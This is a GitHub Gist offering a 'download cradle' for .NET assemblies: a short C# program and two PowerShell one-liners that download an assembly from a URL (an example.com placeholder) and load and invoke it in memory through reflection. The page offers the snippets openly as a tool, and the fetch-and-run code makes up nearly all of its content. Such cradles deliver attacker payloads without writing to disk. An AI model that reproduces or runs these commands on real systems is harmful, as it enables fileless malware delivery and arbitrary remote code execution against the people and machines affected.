Created
June 20, 2018 22:37
-
-
Save cobbr/1d4eb62c17e02c29977d952b3106cb4c to your computer and use it in GitHub Desktop.
A download cradle for .NET assemblies.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } } |
PS> [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/path/to/assembly.exe")).EntryPoint.Invoke(0, null)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
PS> [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/path/to/assembly.dll")).GetType('TypeName').GetMethod('MethodName').Invoke(0, null)